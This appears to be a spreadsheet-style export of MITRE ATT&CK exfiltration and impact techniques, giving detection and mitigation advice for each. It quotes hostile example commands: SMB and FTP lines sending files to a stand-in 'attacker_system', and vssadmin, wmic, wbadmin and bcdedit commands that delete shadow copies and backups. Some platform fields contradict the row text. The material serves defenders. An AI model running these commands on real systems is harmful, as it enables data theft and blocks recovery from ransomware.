T1020	**1**	**Technique**	**Automated Exfiltration**	Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).	Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.	Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	exfiltration	File monitoring, Process monitoring, Process use of network	Linux, macOS		https://attack.mitre.org/techniques/T1020
T1002	**1**	**Technique**	**Data Compressed**	An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.	Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)	Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.	exfiltration	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring	Linux, Windows		https://attack.mitre.org/techniques/T1002

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1022	1	**Technique**	**Data Encrypted**	Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)	Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)	Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	exfiltration	File monitoring, Process monitoring, Process command-line parameters, Binary file metadata	Linux, macOS		https://attack.mitre.org/techniques/T1022
T1030	1	**Technique**	**Data Transfer Size Limits**	An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	exfiltration	Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1030
T1048	1	**Technique**	**Exfiltration Over Alternative Protocol**	Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage. Adversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol. SMB command-line example: * <code>net use \\\attacker_system\IPC$ /user:username password && xcopy /S /H /C /Y C:\Users\\* \\\attacker_system\share_folder\</code> Anonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016) * <code>echo PUT C:\Path\to\file.txt | ftp -A attacker_system</code>	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	exfiltration	User interface, Process monitoring, Process use of network, Packet capture	Linux, macOS		https://attack.mitre.org/techniques/T1048
T1041	1	**Technique**	**Exfiltration Over Command and Control Channel**	Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.	Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	exfiltration	User interface, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1041
T1011	1	**Technique**	**Exfiltration Over Other Network Medium**	Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.	Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious. Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.	Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)	exfiltration	User interface, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1011
T1052	1	**Technique**	**Exfiltration Over Physical Medium**	In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.	Monitor file access on removable media. Detect processes that execute when removable media are mounted.	Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)	exfiltration	Data loss prevention, File monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1052
T1029	1	**Technique**	**Scheduled Transfer**	Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.	Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	exfiltration	Netflow/Enclave netflow, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1029
T1537	1	**Technique**	**Transfer Data to Cloud Account**	An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces. Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)	Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs.		exfiltration	Stackdriver logs, Azure activity logs, AWS CloudTrail logs	Azure, AWS	User	https://attack.mitre.org/techniques/T1537

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
TA0040	**0**	**Tactic**	**Impact**	The adversary is trying to manipulate, interrupt, or destroy your systems and data. Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.							https://attack.mitre.org/tactics/TA0040
T1531	**1**	**Technique**	**Account Access Removal**	Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)	Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: * Event ID 4723 - An attempt was made to change an account's password * Event ID 4724 - An attempt was made to reset an account's password * Event ID 4726 - A user account was deleted * Event ID 4740 - A user account was locked out Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.		impact	Windows event logs, Process command-line parameters, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1531
T1485	**1**	**Technique**	**Data Destruction**	Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)	Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.	Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)	impact	File monitoring, Process command-line parameters, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1485
T1486	**1**	**Technique**	**Data Encrypted for Impact**	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)	Use process monitoring to monitor the execution and command line parameters of of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection.	Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)	impact	Kernel drivers, File monitoring, Process command-line parameters, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1486
T1491	**1**	**Technique**	**Defacement**	Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. ### Internal An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) ### External Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)	Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.		impact	Packet capture, Web application firewall logs, Web logs, Packet capture	Linux, macOS		https://attack.mitre.org/techniques/T1491

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1488	1	**Technique**	**Disk Content Wipe**	Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources. Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files. To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)	Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.		impact	Kernel drivers, Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1488
T1487	1	**Technique**	**Disk Structure Wipe**	Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped. To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)	Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.		impact	Kernel drivers, MBR	Windows, macOS	Administrator, root	https://attack.mitre.org/techniques/T1487
T1499	1	**Technique**	**Endpoint Denial of Service**	Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### OS Exhaustion Flood Since operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) #### SYN Flood With SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)	Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.	Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.	impact	SSL/TLS inspection, Web logs, Web application firewall logs, Network intrusion detection system	Linux, macOS		https://attack.mitre.org/techniques/T1499

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
				#### ACK Flood ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) ### Service Exhaustion Flood Different network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. #### Simple HTTP Flood A large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) #### SSL Renegotiation Attack SSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) ### Application Exhaustion Flood Web applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) ### Application or System Exploitation Software vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.							
T1495	**1**	**Technique**	**Firmware Corruption**	Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.	System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.	Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.	impact	BIOS, Component firmware	Linux, macOS	Administrator, root	https://attack.mitre.org/techniques/T1495
T1490	**1**	**Technique**	**Inhibit System Recovery**	Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code> * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code> * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code> * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>	Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage</code>).	Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)	impact	Windows Registry, Services, Windows event logs, Process command-line parameters	Windows, macOS	Administrator, root	https://attack.mitre.org/techniques/T1490

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
